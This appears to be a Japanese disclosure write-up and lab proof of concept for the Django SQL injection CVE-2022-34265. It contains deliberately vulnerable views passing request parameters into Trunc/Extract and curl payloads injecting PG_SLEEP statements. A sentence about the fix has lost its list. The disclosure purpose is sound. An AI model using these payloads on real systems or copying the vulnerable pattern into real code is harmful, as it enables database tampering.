
CVE-2022-34265 (Django) の PoC
起動
docker-compose build
docker-compose up -d
停止
docker-compose down
Django の脆弱性 (CVE-2022-34265) が 2022年7月5日(米国時間)に公開されました。この記事では、本脆弱性に関する議論と検証結果について説明します。
本脆弱性は、Django で日付データに使用される関数 Trunc および Extract の引数に対して SQL を実行する際の、文字列処理の不備によるものです。リクエストパラメータをそのまま Trunc の kind 引数や Extract の lookup_name 引数に指定することで、任意の SQL 文が実行されるおそれがあります。
本脆弱性を悪用されると、第三者からデータベースにコマンドを送信され、不正なデータへのアクセスやデータベースの削除などが行われる可能性があります。
これまで Django で見つかった脆弱性の多くは SQL インジェクション脆弱性であり、CVE-2020-7471 のような脆弱性が他にもないかと考え、データベース関数の引数を順に調べたところ、無害化されていない引数が見つかり、Takuto Yoshikai(筆者)が IPA および Django 開発チームに報告しました。
その結果、CVE-2022-34265 を解決するリリースでは
が行われています。
vuln/models.py
日付の開始時刻と終了時刻を記録するテーブルのモデルとして、Django ドキュメント の例を使用しています。
from django.db import models
class Experiment(models.Model):
start_datetime = models.DateTimeField()
start_date = models.DateField(null=True, blank=True)
start_time = models.TimeField(null=True, blank=True)
end_datetime = models.DateTimeField(null=True, blank=True)
end_date = models.DateField(null=True, blank=True)
end_time = models.TimeField(null=True, blank=True)
vuln/views.py
from django.http.response import JsonResponse
from datetime import datetime
from django.db.models.functions import Extract, Trunc
from django.db.models import DateTimeField
from vuln.models import Experiment
from django.core import serializers
# /extract/?lookup_name=xxx
def vuln_extract(request):
payload = request.GET.get('lookup_name')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# /trunc/?kind=xxx
def vuln_trunc(request):
payload = request.GET.get('kind')
start = datetime(2015, 6, 15)
end = datetime(2015, 7, 2)
Experiment.objects.create(
start_datetime=start, start_date=start.date(),
end_datetime=end, end_date=end.date())
experiments = Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
return JsonResponse({"res": serializers.serialize("json", experiments)})
# Extract
Experiment.objects.filter(start_datetime__year=Extract('end_datetime', payload))
これは、Experiment の start_datetime 列の年数が、end_datetime の年・月・日・時・分・秒などと一致するレコードをフィルタリングします。ここから SQL インジェクション脆弱性が引き起こされる可能性があります。
# Trunc
Experiment.objects.filter(start_datetime__date=Trunc('start_datetime', payload))
Trunc 関数は、日時データの特定の年・月・日・時・分・秒などの部分を切り捨てるために使用されます。 上記の例では、start_datetime と payload 部分が切り捨てられた start_datetime が一致するレコードを抽出します。 ここから SQL インジェクション脆弱性が引き起こされる可能性があります。
攻撃が成功することを確認するために、PG_SLEEP 命令を使用してレスポンスが返ってくる時間に遅延が生じるかどうかを確認します。
# 通常のURL
curl "http://localhost:4131/extract/?lookup_name=year"
curl "http://localhost:4131/trunc/?kind=year"
# データベース命令が実行可能なURL
curl "http://localhost:4131/extract/?lookup_name=year%27%20FROM%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
curl "http://localhost:4131/trunc/?kind=year%27,%20start_datetime))%20OR%201=1;SELECT%20PG_SLEEP(5)--"
PG_SLEEP に 5 秒を指定していますが、PG_SLEEP(5) は数秒かかるようです。実装や状況によっては数秒呼び出されるようです。 任意の SQL 文が実行可能であるため、データベースの削除などの危険な攻撃が可能です。
議論と検証の結果、実装によっては攻撃が成功する可能性が少なからずあることがわかりました。最悪の場合 DROP TABLE のリスクを避けるため、できるだけ早くアップデートすることを推奨します。